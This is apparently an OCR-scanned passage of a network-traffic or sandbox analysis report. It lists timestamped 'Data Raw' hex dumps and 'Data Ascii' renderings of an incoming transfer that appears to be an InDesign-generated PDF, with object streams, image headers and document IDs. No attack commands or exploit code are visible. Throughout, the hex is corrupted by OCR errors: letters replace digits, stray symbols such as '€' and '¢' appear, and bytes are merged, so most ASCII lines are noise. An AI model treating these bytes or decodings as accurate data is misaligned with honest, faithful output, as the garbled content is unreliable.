fe 2f 40 a2 f1 ce ae ff 69 4c a9 9a 69 Oc da 51 1c b3 e4 61 bl f5 a7 24 b9 c7 60 2f 1f 01 53 7c 04 b0 8e b4 86 d9 7d 22 79
€9 52 7a ad e2 73 ad 32 f3 61 b0 b4 ca 7f fe 8a d7 ab b9 01 98 4b 23 5f 36 23 el 37 ed f2 d6 c4 bb €9 83 6b 43 5e 5¢c 19
b3 53 39 ce 0f 2b Ob c2 4b 56 a0 86 cf 6f 01 bl aa c8 db 97 b3 fd 39 e3 7f 05 38 97 12 83 dd 36 da 47 5f 6d cb 50 9b 7d ba
ff 9e 12 c9 8a 7f 74 3e 02 b1 98 b8 08 7a c4 Oe c5 d2 a0 52 9c 62 e4 9c 2f fa fd 05 5f ce 67 03 ce e5 40 a9 49 34 b6 69 ab
80 73 3e fO d7 7f f8 33 f9 d0 fa 80 df f6 73 6f 52 38 99 45 62 df be ¢4 b2 c4 79 89 ab 01 7b 51 4d 8d 5f 99 d4 e3 82 60 35
b6 ff b2 40 cb e7 77 ac 7b b1 5b 2 b3 a9
Data Ascii: ".'1%(I}6v{%z}/3/@iLiQa$ /S|}"yRzs2aK#_6#7kCMNS9+KV0986G_mP}t>zRb/_g@I4is>3soR8Eby{QM_"5@w{[

2021-11-18 09:30:32 UTC 493 IN Data Raw: 44 48 9b 04 14 d1 03 70 69 5d b6 4c 2d 6f 76 9a 57 35 23 07 17 c1 84 el 50 43 6e b1 48 bc d1 57 89 37 fd bd
ce 76 9f 68 Oc 64 58 70 10 96 7c 8f df f5 b1 9f ae a7 8c 84 dc 30 Oa 68 8c 5d 66 f3 €9 ae fc 39 e6 cf ca bf 22 f4 54 2a ff d1
48 38 8e d1 d4 bf 67 d7 91 31 c5 07 3f ed a8 b7 d0 93 Oe b6 3a a7 54 8c ab 2a b7 df 9a 24 03 39 49 4e c9 db af cd 11 42
48 Oa df 1a 00 29 32 cd 38 33 bc 73 48 2e a2 ac 4e 27 Oc 98 25 19 e2 1a c7 1d 9b a5 ba b7 32 41 ¢9 39 62 2c 7c 87 a8
20 fd d6 2a 59 70 a0 81 2f b8 ec 7c 7d b5 bf a0 9d 7a 1c 7c c3 92 7e d6 8c c1 94 47 62 e6 22 22 32 29 7f eb f6 77 a9 bc 32
e2 2f 73 f9 65 94 e5 53 97 f0 3b 94 ce eb d8 af 64 9f af 78 c2 27 38 d2 27 4c 7c cc 61 8e e3 b4 8d 3a Oe 83 e7 a3 b8 25
67 9c 4e 51 55 55 bf f3 78 36 02 96 a9 a4 9c Ob 09
Data Ascii: DHpi]L-ovW5#PCnHW7vhdXp|0h]f9"T*H8g1?: T*$9INBH)283sH.N'%2A9b,| *Yp/[}z|~Gb"'2)w2/seS;dx
8'L|a:%gNQUUx6

2021-11-18 09:30:32 UTC 497 IN Data Raw: 86 02 5d a5 7b 52 77 7b b7 9b b0 ab fc 53 al ab e5 f8 3c 80 72 5f ba 3b 7f 6e 79 fb 2b 3e {7 bf 56 db 3b 23 ab
aa 7a20 bl 2c e9 62 8c f1 95 ¢8 3c 2¢ 87 00 17 91 96 Oc 86 69 fa b2 57 1a 81 1e 6d ab 9d 51 23 30 2d 07 1a 81 69 7c 58
c4 3 ¢7 95 7f 9d Oc ea 91 dd 56 54 fc 8e f2 73 Ob ec 9e al 75 43 a3 45 7f b7 fa c1 d7 be 88 9f f3 f2 bf b1 10 7a 54 db 97
79 f9 97 ff 03 fc c2 6d 54 2d 50 6f 5f e5 dc c5 cf 9b 08 01 be 7f d2 Oe €5 d9 92 23 1b 80 bc ce ef cd 09 b4 56 20 a5 03 9b
02 de 44 b7 1b 99 55 08 4c 21 d4 21 8c ab ba de ac aa ea 5e 5d d7 b7 82 c2 16 91 df 7f ¢7 e2 5¢ 82 01 93 cc 36 dd 66 97
279d 18 1c d2 c1 a3 13 95 3e 19 0a 33 d4 94 12 97 9d 77 db bd 5e af 1a 04 19 56 f6 aa aa 5e Oa b5 ce d3 c2 7b af 80 1a
78 af 99 2d 08 7a 26 99 c0 cc e2 b0 82 78 dd 34
Data Ascii: fRw{S<r_;ny+>V;#z ,b<,iWmQ#0-i|XVTSuCEzTymT-Po_#V DUL!IMN\6f'>3wAV {x-z&x4

2021-11-18 09:30:32 UTC 501 IN Data Raw: c9 31 7f 2a 94 24 93 90 63 fb a4 ea b9 2d 38 97 1553 37 61 13 3 03 12 11 65 21 Ob 66 d4 82 bc f2 af 81 6e
1b dc 92 ec 86 c5 09 3d 99 a7 ff Oe e8 1e f0 40 b0 f5 ee 5f {7 e2 {8 5b bf el 35 Oc ¢3 d7 03 b4 bc 4b bf ee 73 69 e3 32 bf f9
db 7f 3b 2e 78 16 c6 Ob 6¢ 2d 4f 92 72 d6 c0 57 7e d7 af 7a d2 97 72 2e 49 ce bc 01 98 25 bd 10 d3 ff 00 18 8c 3d ac ee
10 76 7a d4 99 76 34 2e 93 18 71 b4 76 9e 32 94 5d ff dc 5f b0 4a 34 Oc b9 3a 70 a6 0d 40 16 8b 84 82 04 07 2e 8f 4c 48
92 71 4e 46 1d 43 85 10 9a b6 e2 c4 23 10 30 2a 89 31 68 84 6¢ 07 b4 95 d8 79 ee 59 84 f3 de 30 f4 ba b0 a4 f8 dc 55 Oc
ad 36 05 3b 97 2e 0d c7 df fe 8d af el 7c f2 36 8a 6a 1e 6¢ 3f a5 f2 54 1a 80 1c 12 74 e5 fd d7 e0 95 5b 16 6a 33 ¢9 35 99
27 87 359c fd 03 5a 26 al 11 11 d9 76 85 ec 25
Data Ascii: 1*$c-8S7ae!fn=@_[5Ksi2;.xI-OrW~zr.1%=vzv4.qv2]_J4:p@.LHgNFC#0*1hlyYOUS;.|6jl?Tt[j35'5Z&V%

2021-11-18 09:30:32 UTC 505 IN Data Raw: 58 d0 35 5c 8f ce 73 79 28 24 eb 31 63 8¢ 76 57 3e 87 dc 2a d5 49 Oc 6a 57 b0 83 51 a6 fa eb 82 99 dd 17 da
00 b6 c0 76 88 e3 da 77 81 11 d2 58 50 52 51 d9 33 43 5b 7b 36 €5 80 cb 7b 98 17 b0 f7 46 69 95 5f 13 ff 4e fe 4c bf c7 ff
83 14 ea a0 50 23 93 82 8a b5 fb 77 16 ca f1 f8 92 02 2f 21 7b 09 f1 82 12 8d 17 70 49 68 25 96 04 6d Of c8 e7 38 32 71 f4
dd 60 dc da 5d 62 aa 4f a0 83 13 88 27 9b 3c 02 5a 20 90 24 d5 21 d4 d4 91 3c 33 19 00 99 99 9c 33 8b cf b5 ac f4 2d e5
56 86 40 1c 7e 99 4f 70 82 8f f2 45 33 90 7b ed cb b2 21 ce ca 1f 84 72 8b 76 95 2e d8 10 74 1e 71 cf b0 35 c1 03 e2 b6
41 1c 45 be 49 43 41 a6 6a 9e 03 38 5d 39 c4 be le f1 ea 69 52 e5 db df b4 f7 67 27 39 a8 28 41 92 9c 73 46 a0 5f 96 e3
d5 10 c2 55 a4 97 11 6f a2 cd f8 e7 72 df 62 ec ea
Data Ascii: X5\sy($1cvW>*[[WQuWXPRQ3C[{6{Fi_NLP#w/!{plh%m82q]b0'<Z $!<33-V@~OpE3{!rv.tqSAEICA]8]9IR
g'9(AsF_Uorb

2021-11-18 09:30:32 UTC 509 IN Data Raw: e5 6f 3f 34 f0 95 ff {7 af da 7b 34 ff f7 de 5d ef 7d cf Of 4f 1e 6d 7c 63 3e 7e bb 1d 6d 5 57 5f fe 7e 22 c4 d5 aa
14 7a 05 cc 6a 17 cb 96 06 Oc cd 58 11 9¢ b3 96 50 c4 88 dc 05 43 ac c1 d4 1f 7c a5 f6 db ff 38 d4 el 21 3e 7f ca 69 c8 le
4097 68 a4 db 50 36 36 18 09 ab 25 06 75 1d ea 72 5¢ af 56 65 75 al 28 fc 92 73 ae 6f 96 21 29 e9 83 9f 13 12 91 62 8f
33 ae 59 aa af e6 ba 58 2a f8 75 f1 fd c5 14 d4 b7 89 f9 9f cc 39 75 95 7f 44 74 e5 37 15 b3 fc 6b c4 52 df 1d a2 f2 7f 14 e3
a6 do 3d al 8d da aa ed 1d bf 31 fa 6f 57 ff 59 fd a5 3f f6 8f f4 el a5 1f 61 b7 d8 26 58 e8 70 01 9e de 59 b9 88 70 6d ae 3
90 be ee 85 8d 3a 52 90 5b f0 a9 47 de 19 85 al 45 64 2b 58 43 9c 9a 59 77 6b a2 11 58 3c 5e 69 62 c6 55 7¢c 92 6b e2 6
1 9f bf 57 3f 73 3a 35 ff 74 €9 79
Data Ascii: 0?4{4]}Om|c>~mW_~"zjXPC|8!>i@hP66%ur\Veu(so!)b3Y X*u9uDt7kR=10WY ?a&XpYpm:R[GEd+XCYwkX<"ib
UlkaW?s:5ty

2021-11-18 09:30:32 UTC 514 IN Data Raw: cO db f6 6b eb 33 00 d9 b1 16 e8 7c 21 5b f2 14 8b Ob 2c 5c bd 64 3f f6 de 7f 95 d1 ac 48 77 30 77 b5 69 28 88
32c7fc 3f9c ec 25 72 ed el cd 61 c1 99 1b Ob ea a0 50 a7 f8 cb 49 2c 80 56 88 09 c0 15 da 04 60 00 65 4a 31 38 e5 f6
61 ed b3 63 96 92 ef d9 3f e3 a5 73 ae 80 47 fc 65 fd bl cf fa 77 47 7f 72 9c d9 d4 fc 54 ad bd 01 d8 3e e4 1d 5f 5 df 1f 1f
53 ef b3 28 ef 7d cf Of cf da 6d 7d 1b fO 89 c3 4f d4 5a bd 66 af 95 af 15 63 8d 16 82 c2 05 al 17 80 37 Oa bd 89 58 1d 78
01 b8 Oc 5¢ 00 e5 f1 e4 79 f2 d0 a9 94 07 7 87 f8 6b 92 0d 2¢c 85 03 39 0d 25 89 20 4d 56 01 8a 6e 15 60 81 c5 c5 85 4e
15 e0 39 1b 0d 6 a4 Of 60 2e 8f 5f 8a d9 53 ¢3 f5 07 de f1 89 fc ef df ff 9f 08 04 7d c9 2 e7 96 df b4 3 3f 5d 40 db 91 Of 82
db 11 cb 21 68 87 b0 8e 89 39 82 53
Data Ascii: k3|![\d?HwOwi(2?%raPI,V'eJ18ac?sGewGrT>_S(}m}OZfc7Xx\yk,9% MVn'N9"._S}?]@'h9S

2021-11-18 09:30:32 UTC 518 IN Data Raw: 36 9d 73 €7 9d 77 e7 9c f3 2b ce bb 25 ef 5¢c ed bc ef 7b ef 7d el bd f3 de 07 e7 5d e5 bd 1f 15 de 6f 79 ef 37
cc dc 06 96 9a 72 c4 1a c6 03 c5 16 dd 4c b6 bl 8d 1a 88 ee 6e e7 67 4c ee 89 52 35 al bc 57 1f 42 24 70 f6 64 6e 00 e6
72 66 64 92 db 0f 9¢ 05 9c 49 66 56 91 13 73 52 29 51 46 20 71 88 80 1c b3 ca cc 4a cc 46 e6 5d e9 be Of de 7b bc 77 e6
bd a7 f0 85 7c el 7b 85 2f 9c f7 3e 78 ef 4a 7 dc 8e 73 6e cb 39 b7 ee 9c dd 37 ec 3e e2 3e c6 5d c4 dd 8e 8b bf 99 a8
cd c7 66 0d b9 66 82 ea 26 a2 4d 4f 28 96 1d af fd f3 7b f6 €2 17 5f d4 f6 87 c6 84 dd 10 83 93 83 3b 73 9f b8 cc 93 80 73
39 332 17 bf e0 fb f6 ec 33 3 ac dd ff 19 7a fd 65 ae bf f0 69 ac 3f f8 d9 42 0a c3 50 d7 2b 92 2e 60 5¢ 34 b3 cb de fb cb
be f0 97 Ob 5f 5¢ 29 Oa 7f ¢5 17 fe b2 7 fe
Data Ascii: 6sw+%\{}]oy7rLngLR5WB$pdnrfdIfVsR)QF qJFl{w|{/>xJsn97>>]ff&MO({_;ss933zei?BP+."\4_\)

2021-11-18 09:30:32 UTC 521 IN Data Raw: 20 30 20 52 2f 50 69 65 63 65 49 6e 66 6f 3¢ 3c 2f 49 6e 44 65 73 69 67 6e 3c 3c 2f 44 6f 63 75 6d 65 6e 74 49
44 3c 46 45 46 46 30 30 37 38 30 30 36 44 30 30 37 30 30 30 32 45 30 30 36 34 30 30 36 39 30 30 36 34 30 30 33 41 30
303330 30 30 36 35 30 30 33 35 30 30 33 38 30 30 33 37 30 30 36 36 30 30 36 31 30 30 33 37 30 30 32 44 30 30 33 39
30 3036 32 30 30 33 34 30 30 33 30 30 30 32 44 30 30 33 30 30 30 36 33 30 30 33 34 30 30 36 36 30 30 32 44 30 30 33
39 30 30 33 35 30 30 36 32 30 30 36 36 30 30 32 44 30 30 36 33 30 30 33 34 30 30 33 30 30 30 36 35 30 30 36 34 30 30
36 32 30 30 33 35 30 30 33 32 30 30 33 34 30 30 36 31 30 30 36 36 30 30 33 35 3e 2f 4c 61 73 74 4d 6f 64 69 66 69 65
64 3c 46 45 46 46 30 30 34 34 30 30 33 41 30 30 33 32 30 30 33 30 30
Data Ascii: 0 R/Piecelnfo<</InDesign<</DocumentID<FEFF0078006D0070002E006400690064003A0030006500350
0380037006600610037002D0039006200340030002D0030006300340066002D0039003500620066002D0063003
40030006500640062003500320034006100660035>/LastModified<FEFF0044003A003200300
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 525 IN Data Raw: b6 f4 80 Ob c7 a8 92 9c 78 d8 21 f3 9e 86 d0 b5 d7 a6 c8 66 04 09 db 3a 49 50 9a fb 58 a0 b1 0d 51 6d 64 c9
€9 d6 b2 47 3 c0 d4 31 ad f2 8¢ 56 7d 86 33 cb d9 04 3b ac 39 2f 47 ab b6 23 bc fc 53 ec 7a 43 ec 4a 30 72 57 bl 5b ¢3 {7
62 d7 d1 ff 92 5b 5f 7d 2c 72 ed 8c 2f e2 d5 b1 Ob ea 71 47 49 be 1a 32 20 4a 77 db 50 a5 b2 54 8d 31 c3 de e6 6e 92 29
84 bl a7 59 26 ee Oc 94 8a 04 5d 7b 79 4e 10 27 98 fb ac e8 38 b5 4c ac c3 45 69 69 ba 34 b0 4d 89 bc Oe 05 93 28 1b
be 2e f4 a2 f4 b0 a3 3a b2 86 68 84 Oc 44 ae 83 46 3f 6e 8c 9c cb 25 Oe 70 56 6e ce 15 3c 13 45 cf 64 73 b6 fe 3b ab 2b
e3eb 54 e4 ff 9b Oa ba 31 15 54 81 06 77 3a a5 2e e3 5a ce a9 70 97 7e 6b 74 48 3c d1 77 88 e7 48 e0 75 3a 5a be Oc 4b
83 c2 ¢c3 29 37 9d 46 e4 af Of 7f 96 ec 2e 28 1c ab 6a 45
Data Ascii: x!f:IPXQmdG1V}3;9/G#SzCJO0rW[b[_},r/qGI2 JwPT1n)Y &[{yN'8LEii4M(.:hDF?n%pVn<Eds;+T1Tw:.Zp~
ktH<wHu:ZK)7F.(JE

2021-11-18 09:30:32 UTC 529 IN Data Raw: ed d3 6¢ 58 a5 8f 54 65 d4 al 4a 99 b6 ab b7 f6 92 b7 ad cc 63 5a 2a b6 f5 bf 90 67 6e 28 24 a9 a9 c6 5a c6 4c
7b 9e 46 ab 38 37 44 0b 4d c0 76 c1 6a 7b 96 10 19 51 2d 9c 94 8d 5d d2 7b e8 fO b4 8f Oe cc 9d a9 e2 31 74 a5 ea f9 01
€865 ¢l 85d7 06 f1 16 ae 4c eb b1 a9 b0 b6 93 44 a4 cc f0 6a ce 7d ff 21 74 3b dO b6 33 6d 23 4e 2b b6 02 69 8 28 eb
Oc e6 95 14 4e 52 30 f2 64 6f 30 70 83 Of ec 3e f1 1c 53 c6 92 25 c4 80 e5 3e 24 ce c1 d5 26 99 a2 12 4d e7 b9 61 27 0d
lad8 a6 cl 9af9 5b 42 f4 be e7 c3 7383 ca 73 e5 cl 7b ba e9 5b e8 7c 9f Of 72 5f 9f 71 d5 ee 78 b9 43 73 92 ca de 03 5e
b5 21 b2 95 1e 84 55 b6 3d 38 07 64 69 39 00 c1 65 1c de 66 23 5b 98 8b 10 00 f4 5b 07 ad 33 0f c3 ec 04 8c 3e ae 5¢c 32
17 0b 90 79 Ob a4 6a 46 7d 98 96 c0 19 01 42 Oa b0
Data Ascii: IXTeJcZ*gn($ZL{F87DMvj{Q-]{1teLDj}!t;3m#N+i(NROdoOp>S%>$&Ma'[Bss{[|r_gxCs U=8di9ef#[[3>\2yjF}B

2021-11-18 09:30:32 UTC 533 IN Data Raw: 72 69 67 69 6e 61 6¢ 44 6f 63 75 6d 65 6e 74 49 44 3c 46 45 46 46 30 30 37 38 30 30 36 44 30 30 37 30 30 30
3245 30 30 36 34 30 30 36 39 30 30 36 34 30 30 33 41 30 30 33 30 30 30 36 35 30 30 33 35 30 30 33 38 30 30 33 37 30
30 36 36 30 30 36 31 30 30 33 37 30 30 32 44 30 30 33 39 30 30 36 32 30 30 33 34 30 30 33 30 30 30 32 44 30 30 33 30
30 30 36 33 30 30 33 34 30 30 36 36 30 30 32 44 30 30 33 39 30 30 33 35 30 30 36 32 30 30 36 36 30 30 32 44 30 30 36
3330 30 33 34 30 30 33 30 30 30 36 35 30 30 36 34 30 30 36 32 30 30 33 35 30 30 33 32 30 30 33 34 30 30 36 31 30 30
36 36 30 30 33 35 3e 2f 50 61 67 65 55 49 44 4c 69 73 74 3c 3c 2f 30 20 32 34 30 3e 3e 2f 50 61 67 65 57 69 64 74 68 4c
69 73 74 3c 3c 2f 30 20 33 39 36 2e 38 35 3e 3e 3e 3e 3e 3e 2f 52 65
Data Ascii: riginalDocumentID<FEFF0078006D0070002E006400690064003A0030006500350038003700660061003700
2D0039006200340030002D0030006300340066002D0039003500620066002D0063003400300065006400620035
00320034006100660035>/PageUIDList<</0 240>>/PageWidthList<</0 396.85>>>>>>/Re

2021-11-18 09:30:32 UTC 537 IN Data Raw: 27 2d 2d 26 2c 2c 2a 2c 2¢ 25 2b 2b 24 29 29 22 28 28 21 27 27 20 26 26 le 24 24 1c 20 20 18 1f 1f 17 le 1le
16 1d 1d 1b 1d 1d 16 1c 1c 15 1b 1b 14 1a 1a 13 19 19 12 19 19 11 18 18 10 17 17 0f 16 16 Oe 15 15 0d 14 14 Oc 13 13
0Ob 12 12 0a 0d Oa 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 33 20 30 20 6f 62 6a 0d 3c 3c 2f 42 69 74 73 50
65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 2f 43 6f 6¢ 6f 72 53 70 61 63 65 20 35 38 20 30 20 52 2f 44 65 63 6f 64 65 5b 30 2e
3020 32 35 35 2e 30 5d 2f 46 69 6¢ 74 65 72 2f 46 6¢ 61 74 65 44 65 63 6f 64 65 2f 48 65 69 67 68 74 20 31 34 39 2f 49
6e 74 65 6e 74 2f 52 65 6¢ 61 74 69 76 65 43 6f 6¢ 6f 72 69 6d 65 74 72 69 63 2f 4c 65 6e 67 74 68 20 35 35 37 39 2f 4e
61 6d 65 2f 58 2f 53 75 62 74 79 70 65 2f 49 6d 61 67 65
Data Ascii: --&,,*,,%++$))"((!" &&$$ endstreamendobj13 0 obj<</BitsPerComponent 8/ColorSpace 58 0 R/Decode[0.0
255.0)/Filter/FlateDecode/Height 149/Intent/RelativeColorimetric/Length 5579/Name/X/Subtype/Image

2021-11-18 09:30:32 UTC 541 IN Data Raw: a7 22 1c 93 3c Ob 5¢ 60 04 97 63 07 35 4b bd Oe 7a 98 d7 el a9 98 26 04 3f 39 f2 72 06 d0 68 c0 9d 7b 0d 74
03 c4 65 b0 16 99 22 3b 28 40 07 38 bb 2b 86 5e aa 78 19 €6 b8 ¢3 27 ea 39 16 da 37 48 c¢7 da 1c 82 59 77 26 c0 23 d7
ae 9b f8 57 30 1f ef 2e 48 7f 84 52 a7 6d 18 60 36 26 18 89 ad be 37 60 02 62 3d 62 3d af €3 33 c9 30 de f3 75 6e 25 90
3ad227 71 cd 00 64 fd d4 a5 e6 43 ca 8d 7c 1c Ob e8 00 Oa b7 b3 bb 00 4f 76 1c 3d 5b cc 34 cb 53 af 76 29 de df 12 Ob
bd 3d 3e eb 11 aa f9 ce 2d ec bb f0 da 00 8e 99 c9 2c 05 f9 82 87 16 1f fd b4 78 18 4d c7 8a 03 7f dc 50 8f ad 80 1b 60 5d
9e 2b 43 33 80 d7 06 30 54 98 99 78 aa 51 38 29 1a 21 dc 0d a0 78 b2 01 93 4d 23 24 20 17 6¢ a6 39 9e 7a b2 2b e3 Oc
31 db3ce0 9257 d9c2 a0 52 6¢ 02 f8 01 18 93 db 1b 0d 90
Data Ascii: “<\'c5Kz&?9rh{te";(@8+"x'97HYW&#W0.HRm 6&7 b=b=30un%:'qdC|Ov=[4Sv)=>- xMP]+C30TxQ8)!xM#$
19z+1<WRI

2021-11-18 09:30:32 UTC 546 IN Data Raw: a2 8c c2 Oe 35 23 b3 05 c2 b8 46 17 22 ca dd 95 f9 88 €0 e0 72 ed 26 04 20 50 20 56 10 17 10 34 4c¢ 21 82 c0
42¢588 30 1c 67 70 75 e4 65 f2 ad 52 24 52 2b bc a5 36 db 28 fe 13 6f 26 5e 60 bc fc ea 66 64 69 b5 b6 b6 1e 3d 7a d4
66 b3 4d 9a 34 €9 f6 ed db 6d 6d 6d 46 95 f8 6f 5a 5a da d8 b1 63 87 Oe 1d da 4f 4f 41 41 41 88 48 13 26 4c c8 c9 c9 a9
af af 37 1a 07 80 bb 7c f9 32 ca 22 23 23 2f 5d ba 14 98 65 29 90 16 22 f0 46 62 01 d9 26 01 02 b0 d0 75 d7 5f 7f 9d 1a
1313 e505 11 4b b9 ab 76 69 14 af dO b2 b2 56 d8 ed 89 b4 40 a3 90 a5 6d a8 al 62 f4 42 5f 1a 04 48 e2 91 81 2a b5 cb
14 89 ba a0 82 82 53 78 bd 3 f3 8f f1 27 38 ¢8 99 99 19 Oa a7 64 59 c1 fc b7 6f df 3e 70 e0 c0 e4 e4 e4 b2 b2 32 dd 6¢ e2
1 78 9a 9a 9a d6 af 5f af 4b 19 23 21 ¢5 9c 3b 77 Oe
Data Ascii: 5#F"r& P VALIBOgpueR$R+6(0&" fdi=zfM4AmmmFoZZcOOAAAH&L7|2"##/]e)"Fb&u_KviV@mbB_H*Sx'8dYo>
p2lx_K#hw

2021-11-18 09:30:32 UTC 550 IN Data Raw: 6f 2f ff 28 93 c9 54 5¢ 5¢ ec €9 e9 f9 e8 d1 23 ab 97 c6 Oe c4 2b 46 8f c4 bd 99 9d 9d 21 91 b8 4b a5 9e 84 3e
64 33 47 44 fc 86 fd a0 d5 56 8b 6d d3 32 31 31 01 34 c0 0d b1 3c 00 10 6c Oe 4e 2b 8e 2d be e2 03 3c 8e d0 09 ce al f2
f2 73 48 0f 25 85 7¢ 45 61 41 c2 b0 66 c2 66 65 7b 3d 7d fa 34 24 24 24 35 35 75 7a 7a 7a cl e0 bl bl 31 bd 5e df d9 d9
d9 de de de dc dc fc fO el c3 be be be 25 2d 67 36 9b ab ab ab 51 dc 29 6e ec ec ec 0a Ob Ob 0d 06 c3 82 4b 47 47 47 c7
c6 c6 7e 8 f0 61 49 2b ce 10 7a 24 bc 77 f4 3f b3 7f c2 1e 80 c7 c1 8e 45 83 44 76 2f b9 48 67 82 8d 7d f1 e2 79 6e 4f c5
c4 c4 24 ac c0 1a 34 90 38 a4 38 al a8 de 62 ee 0f 83 83 65 fe fe 3e f4 2b 4a 10 8a 8c 98 13 5e 25 0d Of Of 27 25 25 b9 bz
ba 3e 7f fe 7c c1 60 8 8b fd fb f7 ef da b5 2b
Data Ascii: o/(T\\#+F!IK>d3GDVm2114<IN+-<sH%|EaAffe{=}4$$$55uzzz1"%-g6Q)nKGGG~al+z$w?EDVv/HglynO$488be
>+37%'%%>| "+

2021-11-18 09:30:32 UTC 553 IN Data Raw: 10 2e be 04 7b 4d Oc c¢3 9f 04 b5 87 ef 1f 68 €3 e5 a4 95 d4 85 5e 0d 20 58 1f 24 89 1f a4 61 fa 52 43 al 90 4f
a5 66 ¢559 d8 02 bl 1b ae 48 a4 cd db 9e 42 al Ob f1 78 97 04 4f 4c 5¢ 93 Oc c9 e4 fd 6¢ f6 a5 4f c6 de 0a 59 5b 2b 8e
8e Oe b7 b6 36 8a e7 8e 8f 8f 71 a7 64 24 af a5 6¢ 37 92 d3 €9 25 e7 07 27 ¢3 30 2a 21 90 3d 7c ff 40 1b e7 a2 3b 69 85
74 f2 caab 31 45 ea 83 9a cd ed 41 1a ef 90 32 70 13 3c 45 cc 65 6¢ ec aa d8 0d be 83 fb 78 db 13 fe 25 c¢1 Oc 5¢ ac 86
64 c0 e9 f0 3b 57 63 2f 4b 8a b9 30 cb 50 1e 76 c¢3 74 ¢3 8¢ 53 4e 3e 7b 21 47 26 ca 76 fe 9a 19 86 71 4c 04 b5 87 1f 92
c6 81 59 2b d4 b2 07 07 fb 4a 4a a3 6f fb 59 9a 4e bb ab ab 2b e2 2c 5¢ 68 11 ¢7 89 c5 a2 cc 11 de 6 44 8c 04 {3 d4 9d
3b bf 4b 86 c5 c5 47 55 39 57 60 1f 53 53 77 3b 3b c3
Data Ascii: {Mh" X$aRCOfYHBxOL\IOY[+6qd$I7%'0*'=|@;it1EA2p<Eelx%\d;Wc/KOPVtSN>{!G&vqLY+JJoYN+\hD;K
GUOW'SSw;;

2021-11-18 09:30:32 UTC 557 IN Data Raw: 31 30 30 33 37 30 30 32 44 30 30 33 39 30 30 36 32 30 30 33 34 30 30 33 30 30 30 32 44 30 30 33 30 30 30
36 33 30 30 33 34 30 30 36 36 30 30 32 44 30 30 33 39 30 30 33 35 30 30 36 32 30 30 36 36 30 30 32 44 30 30 36 33 30
30 33 34 30 30 33 30 30 30 36 35 30 30 36 34 30 30 36 32 30 30 33 35 30 30 33 32 30 30 33 34 30 30 36 31 30 30 36 36
30 30 33 35 3e 2f 50 61 67 65 55 49 44 4c 69 73 74 3c 3c 2f 30 20 34 36 37 3e 3e 2f 50 61 67 65 57 69 64 74 68 4c 69 73
74 3c 3c 2f 30 20 33 39 36 2e 38 35 3e 3e 3e 3e 3e 3e 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 45 78 74 47 53 74 61 74 65
3c 3¢ 2f 47 53 30 20 34 35 20 30 20 52 3e 3e 2f 46 6f 6e 74 3c 3c 2f 43 32 5f 30 20 34 37 20 30 20 52 2f 43 32 5f 31 20 34
36 20 30 20 52 2f 54 54 30 20 34 33 20 30 20 52 2f 54 54 31 20
Data Ascii: 10037002D0039006200340030002D0030006300340066002D0039003500620066002D0063003400300065006
40062003500320034006100660035>/PageUIDList<</0 467>>/PageWidthList<</0 396.85>>>>>>/Resources<</ExtG
State<</GS0 45 0 R>>/Font<</C2_047 0 R/C2_146 0 R/TTO43 0 R/TT1
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 561 IN Data Raw: 93 bd 16 14 2c 4b 40 ad 92 ca 29 8b 13 e2 d4 54 3 f2 44 bf 47 62 04 b6 04 cf 1c d1 53 1d 49 59 b9 a7 e2 a6 4a
f7 52 cfe0 72 3c 68 7f 7b 54 98 57 39 c6 a6 c7 70 e7 52 79 7c ac 31 61 7c 2a 9a b0 27 4d ba d0 f6 20 89 c2 6b b5 ae 37
f8 ca 09 9e 21 10 b3 19 46 9c c0 9e c5 b0 3b e6 9a cd 5 02 27 cd d4 98 b0 03 8f 05 82 b0 a3 e5 Oc d6 c8 a0 ca d1 5¢ f1
14 d6 Oc 75 d4 56 d0 3a 25 3c d3 a2 c9 d0 c3 ac cf ad bf b0 08 a2 74 22 34 ee f0 24 a2 30 c1 e6 b3 68 b2 ca 23 47 89 90
a6 ce blea 76 c1 72 47 e5 92 ba 85 dc 72 68 fc 38 06 dd fO 7a fd 7b db 7b €3 86 06 c5 a3 02 30 1e 14 00 b5 21 88 df 17
67 a9 be 9b d1 11 5b 5a 2e 2c bf 3b 46 f2 2¢ 2c c6 c8 ef 99 12 9e b5 07 1e ac bf a3 3d 94 d6 9e 68 5d 6e 13 f5 16 52 98
00 b3 69 6d dO ba f6 c6 cd c5 fO d5 59 c1 7e 4b 51 bf
Data Ascii: ,K@)TDGbSIYJRr<h{TW9pRy|1a|*'M k7!F;\uV:%<t"4$0h#GvrGrh8z{{0!g[Z.,;F,,=h]nRimY~KQ

2021-11-18 09:30:32 UTC 565 IN Data Raw: 6f 6e 65 6e 74 20 38 2f 43 6f 6¢ 6f 72 73 20 31 2f 43 6f 6¢ 75 6d 6e 73 20 31 32 36 3e 3e 2f 46 69 6¢ 74 65 72
2f 46 6¢ 61 74 65 44 65 63 6f 64 65 2f 48 65 69 67 68 74 20 31 37 30 2f 49 6e 74 65 6e 74 2f 52 65 6¢ 61 74 69 76 65 43
6f 6¢ 6f 72 69 6d 65 74 72 69 63 2f 4c 65 6e 67 74 68 20 33 33 38 30 2f 4e 61 6d 65 2f 58 2f 53 75 62 74 79 70 65 2f 49 6d
61 67 65 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 2f 57 69 64 74 68 20 31 32 36 3e 3e 73 74 72 65 61 6d 0d Oa 48 89 c4 97
79 7c 4d 67 1a c7 df 9b 3d 37 9b 04 d1 a8 28 21 49 5b 0d 4d 43 62 14 c5 c4 30 b6 46 d1 8e ad c2 44 4a ad a5 1a c5 a0 a6
a4 a3 8a 89 b5 3e 8¢ 75 e8 88 65 ac 41 2a a4 6e 2c a9 6d 44 91 5b 4b 36 89 88 ec db dd 7f f3 9e bb e5 dc 7b cf bd b9 cb
f9f0 fb e7 bc ef 73 9e e7 7c cf 3d {7 7d df e7 79
Data Ascii: onent 8/Colors 1/Columns 126>>/Filter/FlateDecode/Height 170/Intent/RelativeColorimetric/Length 33
80/Name/X/Subtype/lmage/Type/XObject/Width 126>>streamHy|Mg=7(!l[[MCbOFDJ>ueA*n,mD[K6{s|=}y

2021-11-18 09:30:32 UTC 568 IN Data Raw: 07 2e 3c Ob d5 Oc 22 cc 37 28 a6 2c 2b 5¢ 02 dc Oc e4 03 ee 7e 54 5d b2 ba e7 68 92 9c 55 fa 40 a5 82 99 16
